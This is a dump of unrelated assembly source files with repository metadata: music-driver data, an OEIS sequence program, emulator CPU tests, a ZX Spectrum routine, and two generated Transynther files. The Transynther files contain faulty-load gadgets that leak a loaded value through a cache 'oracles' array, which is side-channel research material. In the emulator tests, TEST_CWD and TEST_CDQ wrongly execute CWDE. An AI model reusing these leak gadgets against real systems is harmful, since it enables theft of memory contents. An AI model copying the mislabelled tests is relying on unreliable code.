KP_OSCV $01,0,1,1,$00 KP_OSCV $02,0,1,1,$01 KP_OSCV $01,0,1,1,$00 KP_OSCV $00,0,1,1,$01 KP_OSCV $FF,0,1,1,$00 KP_OSCV $FE,0,1,1,$01 KP_OSCV $FF,0,1,1,$00 KP_OSCV $00,0,1,1,$01 ins13loop KP_OSCV $30,0,1,1,$00 KP_OSCV $00,0,1,1,$06 KP_OSCV $00,0,0,1,$01 KP_OSCJ [ins13loop-ins13] vol13 KP_VOLV $08,$00 KP_VOLV $0A,$00 KP_VOLV $0C,$07 KP_VOLV $0C,$05 KP_VOLV $0B,$00 KP_VOLV $0A,$00 KP_VOLV $09,$01 KP_VOLV $08,$03 KP_VOLV $0B,$07 KP_VOLV $0B,$01 KP_VOLV $0A,$07 KP_VOLV $0A,$07 KP_VOLV $0A,$07 vol13loop KP_VOLV $09,$00 KP_VOLJ [vol13loop-vol13] ins14 ins14loop KP_OSCV $84,0,1,0,$00 KP_OSCV $85,0,1,0,$00 KP_OSCV $84,0,1,1,$00 KP_OSCV $86,0,1,0,$00 KP_OSCV $84,0,1,1,$00 KP_OSCV $85,0,1,0,$00 KP_OSCV $84,0,1,0,$00 KP_OSCV $83,0,1,0,$00 KP_OSCV $84,0,1,1,$00 KP_OSCV $82,0,1,0,$00 KP_OSCV $84,0,1,1,$00 KP_OSCV $83,0,1,0,$00 KP_OSCJ [ins14loop-ins14] vol14 KP_VOLV $0C,$07 KP_VOLV $0C,$07 KP_VOLV $0C,$07 KP_VOLV $0B,$05 KP_VOLV $0A,$07 KP_VOLV $0A,$03 KP_VOLV $09,$07 KP_VOLV $09,$07 KP_VOLV $09,$07 KP_VOLV $08,$07 KP_VOLV $08,$07 KP_VOLV $08,$07 vol14loop KP_VOLV $07,$00 KP_VOLJ [vol14loop-vol14] ins15 ins15loop KP_OSCV $74,0,1,0,$00 KP_OSCV $75,0,1,0,$00 KP_OSCV $74,0,1,1,$00 KP_OSCV $76,0,1,0,$00 KP_OSCV $74,0,1,1,$00 KP_OSCV $75,0,1,0,$00 KP_OSCV $74,0,1,0,$00 KP_OSCV $73,0,1,0,$00 KP_OSCV $74,0,1,1,$00 KP_OSCV $72,0,1,0,$00 KP_OSCV $74,0,1,1,$00 KP_OSCV $73,0,1,0,$00 KP_OSCJ [ins15loop-ins15] vol15 KP_VOLV $0C,$07 KP_VOLV $0C,$07 KP_VOLV $0C,$07 KP_VOLV $0B,$05 KP_VOLV $0A,$07 KP_VOLV $0A,$03 KP_VOLV $09,$07 KP_VOLV $09,$07 KP_VOLV $09,$07 KP_VOLV $08,$07 KP_VOLV $08,$07 KP_VOLV $08,$07 vol15loop KP_VOLV $07,$00 KP_VOLJ [vol15loop-vol15] ins16 ins16loop KP_OSCV $02,0,1,1,$00 KP_OSCV $01,0,1,1,$00 KP_OSCV $00,0,1,1,$00 KP_OSCV $FF,0,1,1,$00 KP_OSCV $FE,0,1,1,$00 KP_OSCV $FD,0,1,1,$00 KP_OSCV $FE,0,1,1,$00 KP_OSCV $FF,0,1,1,$00 KP_OSCV $00,0,1,1,$00 KP_OSCV $01,0,1,1,$00 KP_OSCV $02,0,1,1,$00 KP_OSCV $03,0,1,1,$00 KP_OSCJ [ins16loop-ins16] vol16 KP_VOLV $0C,$03 KP_VOLV $0B,$01 KP_VOLV $0A,$01 vol16loop KP_VOLV $09,$00 KP_VOLJ [vol16loop-vol16] ins17 ins17loop KP_OSCV $02,0,1,1,$00 KP_OSCV $01,0,1,1,$00 KP_OSCV $00,0,1,1,$00 KP_OSCV $FF,0,1,1,$00 KP_OSCV $FE,0,1,1,$00 KP_OSCV $FD,0,1,1,$00 KP_OSCV $FE,0,1,1,$00 KP_OSCV $FF,0,1,1,$00 KP_OSCV $00,0,1,1,$00 KP_OSCV $01,0,1,1,$00 KP_OSCV $02,0,1,1,$00 KP_OSCV $03,0,1,1,$00 KP_OSCJ [ins17loop-ins17] vol17 KP_VOLV $07,$02 vol17loop KP_VOLV $06,$00 KP_VOLJ [vol17loop-vol17] kp_sequence dc.b $00,$00,$01,$00 dc.b $00,$02,$03,$00 dc.b $00,$04,$05,$00 dc.b $00,$06,$07,$00 dc.b $00,$08,$09,$00 dc.b $00,$02,$03,$00 dc.b $00,$04,$05,$00 dc.b $00,$06,$07,$00 dc.b $00,$08,$0A,$00 dc.b $00,$0B,$0C,$00 dc.b $00,$0D,$0E,$00 dc.b $00,$0F,$10,$00 dc.b $00,$11,$12,$00 dc.b $00,$0B,$0C,$00 dc.b $00,$0D,$0E,$00 dc.b $00,$0F,$10,$00 dc.b $00,$13,$12,$00 dc.b $00,$14,$15,$00 dc.b $00,$16,$17,$00 dc.b $00,$14,$18,$00 dc.b $00,$16,$19,$00 dc.b $00,$1A,$18,$00 dc.b $00,$16,$19,$00 dc.b $00,$14,$18,$00 dc.b $00,$16,$19,$00 dc.b $00,$1B,$18,$00 dc.b $00,$1C,$19,$00 dc.b $00,$1D,$18,$00 dc.b $00,$1D,$1E,$00 dc.b $00,$1B,$18,$00 dc.b $00,$1C,$19,$00 dc.b $00,$1D,$18,$00 dc.b $00,$1F,$1E,$00 dc.b $00,$20,$21,$00 dc.b $00,$22,$23,$00 dc.b $00,$24,$21,$00 dc.b $00,$22,$23,$00 dc.b $00,$20,$21,$00 dc.b $00,$22,$23,$00 dc.b $00,$25,$21,$00 dc.b $00,$22,$23,$00 dc.b $00,$22,$26,$00 dc.b $00,$27,$01,$00 dc.b $ff dc.w $00A8
22.165455
28
0.736554
9e527f59a6bc019a137d132422c774dc9a900a46
960
asm
Assembly
programs/oeis/062/A062401.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/062/A062401.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/062/A062401.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A062401: a(n) = phi(sigma(n)). ; 1,2,2,6,2,4,4,8,12,6,4,12,6,8,8,30,6,24,8,12,16,12,8,16,30,12,16,24,8,24,16,36,16,18,16,72,18,16,24,24,12,32,20,24,24,24,16,60,36,60,24,42,18,32,24,32,32,24,16,48,30,32,48,126,24,48,32,36,32,48,24,96,36,36,60,48,32,48,32,60,110,36,24,96,36,40,32,48,24,72,48,48,64,48,32,72,42,108,48,180,32,72,48,48,64,54,36,96,40,72,72,120,36,64,48,48,72,48,48,96,108,60,48,96,48,96,64,128,80,72,40,96,64,64,64,72,44,96,48,96,64,72,48,360,48,72,72,108,40,120,72,80,72,96,64,168,78,64,72,108,64,220,80,84,96,72,48,128,120,108,96,120,56,96,120,120,64,72,48,144,72,96,120,96,72,128,72,96,128,96,64,252,96,84,96,216,60,144,80,240,128,96,64,144,72,96,96,180,64,192,104,108,96,108,80,160,128,80,144,144,72,144,96,144,360,108,72,192,88,144,128,120,72,144,96,96,128,144,64,240,110,216,144,180,108,144,96,128,96,144 cal $0,88580 ; a(n) = 1 + sigma(n). sub $0,2 cal $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n. mov $1,$0
120
792
0.667708
cda2e82fb2744561494e0301cee95399f772313c
2,600
asm
Assembly
testc/cputest/cbw_cwde.asm
krismuad/TOWNSEMU
49c098ecb4686a506a208e01271ed135c0c3c482
[ "BSD-3-Clause" ]
124
2020-03-17T05:49:47.000Z
2022-03-27T00:11:33.000Z
testc/cputest/cbw_cwde.asm
krismuad/TOWNSEMU
49c098ecb4686a506a208e01271ed135c0c3c482
[ "BSD-3-Clause" ]
40
2020-05-24T12:50:43.000Z
2022-02-22T05:32:18.000Z
testc/cputest/cbw_cwde.asm
krismuad/TOWNSEMU
49c098ecb4686a506a208e01271ed135c0c3c482
[ "BSD-3-Clause" ]
11
2020-05-26T17:52:04.000Z
2021-07-31T01:07:31.000Z
.386p ASSUME CS:CODE PUBLIC TEST_CBW PUBLIC TEST_CWDE PUBLIC TEST_CWD PUBLIC TEST_CDQ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EFLAGS_CF EQU 00001H EFLAGS_PF EQU 00004H EFLAGS_AF EQU 00010H EFLAGS_ZF EQU 00040H EFLAGS_SF EQU 00080H EFLAGS_TRAP EQU 00100H EFLAGS_IF EQU 00200H EFLAGS_DF EQU 00400H EFLAGS_OF EQU 00800H EFLAGS_IOPL EQU 03000H EFLAGS_NF EQU 04000H EFLAGS_RF EQU 10000H EFLAGS_VF EQU 20000H EFLAGS_ALIGN_CHECK EQU 40000H ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; CODE SEGMENT ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; void TEST_CBW(unsigned int *res,unsigned int eax) TEST_CBW PROC PUSH EBP ; [EBP]=PrevEBP, [EBP+4]=EIP, [EIP+8]=ResultPtr, [EIP+12]=EAX, [EIP+16]=EDX MOV EBP,ESP PUSHAD MOV EDI,[EBP+8] MOV EAX,[EBP+12] CBW MOV [EDI],EAX POPAD POP EBP RET TEST_CBW ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; void TEST_CWDE(unsigned int *res,unsigned int eax) TEST_CWDE PROC PUSH EBP ; [EBP]=PrevEBP, [EBP+4]=EIP, [EIP+8]=ResultPtr, [EIP+12]=EAX, [EIP+16]=EDX MOV EBP,ESP PUSHAD MOV EDI,[EBP+8] MOV EAX,[EBP+12] CWDE MOV [EDI],EAX POPAD POP EBP RET TEST_CWDE ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; void TEST_CWD(unsigned int res[2],unsigned int eax,unsigned int edx) TEST_CWD PROC PUSH EBP ; [EBP]=PrevEBP, [EBP+4]=EIP, [EIP+8]=ResultPtr, [EIP+12]=EAX, [EIP+16]=EDX MOV EBP,ESP PUSHAD MOV EDI,[EBP+8] MOV EAX,[EBP+12] MOV EDX,[EBP+16] CWDE MOV [EDI],EAX MOV [EDI+4],EDX POPAD POP EBP RET TEST_CWD ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; void TEST_CDQ(unsigned int res[2],unsigned int eax,unsigned int edx) TEST_CDQ PROC PUSH EBP ; [EBP]=PrevEBP, [EBP+4]=EIP, [EIP+8]=ResultPtr, [EIP+12]=EAX, [EIP+16]=EDX MOV EBP,ESP PUSHAD MOV EDI,[EBP+8] MOV EAX,[EBP+12] MOV EDX,[EBP+16] CWDE MOV [EDI],EAX MOV [EDI+4],EDX POPAD POP EBP RET TEST_CDQ ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; CODE ENDS END
18.181818
97
0.443846
344d9f8c56e3b21ede4b401b055034ed79e66614
100
asm
Assembly
test/asm/nested-brackets.asm
orbea/rgbds
91889fc14abbf705271bb484e89e349e08f76477
[ "MIT" ]
null
null
null
test/asm/nested-brackets.asm
orbea/rgbds
91889fc14abbf705271bb484e89e349e08f76477
[ "MIT" ]
null
null
null
test/asm/nested-brackets.asm
orbea/rgbds
91889fc14abbf705271bb484e89e349e08f76477
[ "MIT" ]
null
null
null
STRING equs "OK" WRAPPER equs "TRIN" PRINTT "{S{WRAPPER}G}\n" PRINTT "{S{WRAPPER}G" PRINTT "\n"
14.285714
25
0.65
ae6b0a1efffa710cf621bc40c328824ce216276c
232
asm
Assembly
libsrc/_DEVELOPMENT/arch/zx/misc/c/sdcc_iy/zx_cls_wc.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/zx/misc/c/sdcc_iy/zx_cls_wc.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/zx/misc/c/sdcc_iy/zx_cls_wc.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void zx_cls_wc(struct r_Rect8 *r, uchar attr) SECTION code_clib SECTION code_arch PUBLIC _zx_cls_wc EXTERN asm_zx_cls_wc _zx_cls_wc: pop af pop ix pop hl push hl push hl push af jp asm_zx_cls_wc
10.545455
47
0.693966
6e59d8feacccdfa7ba2978e9068a0400ac26d2ca
4,300
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_21829_1701.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_21829_1701.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_21829_1701.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %rcx push %rdi push %rsi lea addresses_A_ht+0x2d0c, %rsi lea addresses_UC_ht+0x156cc, %rdi nop sub $38672, %r14 mov $2, %rcx rep movsb sub $25003, %rsi lea addresses_D_ht+0x1b6cc, %rsi lea addresses_UC_ht+0x1414c, %rdi xor $25713, %r12 mov $4, %rcx rep movsb nop nop nop inc %rsi pop %rsi pop %rdi pop %rcx pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %rbx push %rcx // Faulty Load lea addresses_RW+0x1d6cc, %r10 nop nop and %rbx, %rbx mov (%r10), %r11d lea oracles, %r10 and $0xff, %r11 shlq $12, %r11 mov (%r10,%r11,1), %r11 pop %rcx pop %rbx pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 6, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
65.151515
2,999
0.663488
f0246a467244db9c002fa25ac0923c8de803ff55
334
asm
Assembly
programs/oeis/119/A119580.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/119/A119580.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/119/A119580.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A119580: (n^2+n^3)*(binomial(2*n,n)). ; 0,4,72,720,5600,37800,232848,1345344,7413120,39382200,203231600,1024287264,5062180032,24607819600,117942804000,558423072000,2615901857280,12139419556440,55866532906800,255192804636000 mov $1,$0 mov $2,$0 add $2,$0 bin $2,$0 mul $0,$2 mul $0,$1 mov $3,1 add $3,$1 mul $0,$3 div $0,4 mul $0,4
22.266667
185
0.721557
cb0a25ce3ac81612f7d871428872055c3499e700
317
asm
Assembly
solutions/17-exclusive lounge/double if - speed optimized.asm
Ernesto-Alvarez/HRM-Puzzles
2ec938341dbf67cd186a1d7f1e794a3acd63155f
[ "Unlicense" ]
null
null
null
solutions/17-exclusive lounge/double if - speed optimized.asm
Ernesto-Alvarez/HRM-Puzzles
2ec938341dbf67cd186a1d7f1e794a3acd63155f
[ "Unlicense" ]
null
null
null
solutions/17-exclusive lounge/double if - speed optimized.asm
Ernesto-Alvarez/HRM-Puzzles
2ec938341dbf67cd186a1d7f1e794a3acd63155f
[ "Unlicense" ]
null
null
null
-- HUMAN RESOURCE MACHINE PROGRAM -- a: b: c: d: INBOX JUMPN f INBOX JUMPN e COPYFROM 4 OUTBOX JUMP d e: COPYFROM 5 OUTBOX JUMP c f: INBOX JUMPN g COPYFROM 5 OUTBOX JUMP b g: COPYFROM 4 OUTBOX JUMP a
10.566667
36
0.463722
9984df863daf801763f11eb6bcde3a6c480c3966
5,947
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_354.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_354.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_354.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r8 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x17b4, %r8 and %r13, %r13 mov $0x6162636465666768, %rbx movq %rbx, %xmm4 vmovups %ymm4, (%r8) nop nop nop nop nop cmp %rbx, %rbx lea addresses_normal_ht+0x121b4, %rsi lea addresses_WT_ht+0x1e6b4, %rdi nop xor $4776, %rax mov $118, %rcx rep movsq and %r13, %r13 lea addresses_normal_ht+0x123fb, %r13 nop and $6729, %rax mov $0x6162636465666768, %r8 movq %r8, %xmm2 movups %xmm2, (%r13) nop nop nop and %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r8 pop %r13 ret .global s_faulty_load s_faulty_load: push %r11 push %r15 push %rax push %rbp push %rbx push %rdi push %rdx // Store lea addresses_UC+0x1d7b4, %rdx nop sub $37648, %rax movb $0x51, (%rdx) nop nop nop nop nop add $32908, %rax // Store mov $0x200, %rbp nop and $53978, %r15 mov $0x5152535455565758, %rdi movq %rdi, (%rbp) nop nop and $61750, %rdx // Store lea addresses_WT+0xbf34, %rbx nop nop nop nop nop xor $27251, %r15 movb $0x51, (%rbx) nop nop inc %rdx // Store mov $0xc85, %rbp inc %rax movl $0x51525354, (%rbp) nop nop nop add $25834, %r15 // Store mov $0x5c6caf000000098a, %rbp clflush (%rbp) nop nop nop nop nop sub %rdx, %rdx mov $0x5152535455565758, %rdi movq %rdi, %xmm5 vmovups %ymm5, (%rbp) nop nop nop sub $2666, %rax // Faulty Load lea addresses_PSE+0x2fb4, %rax nop nop nop nop nop and $11558, %r11 mov (%rax), %rdi lea oracles, %r15 and $0xff, %rdi shlq $12, %rdi mov (%r15,%rdi,1), %rdi pop %rdx pop %rdi pop %rbx pop %rbp pop %rax pop %r15 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_PSE', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC', 'congruent': 11}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_P', 'congruent': 2}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT', 'congruent': 7}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 4, 'type': 'addresses_P', 'congruent': 0}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_NC', 'congruent': 1}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_PSE', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 11}, 'OP': 'STOR'} {'dst': {'same': True, 'congruent': 7, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 0}, 'OP': 'STOR'} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
37.639241
2,999
0.656634
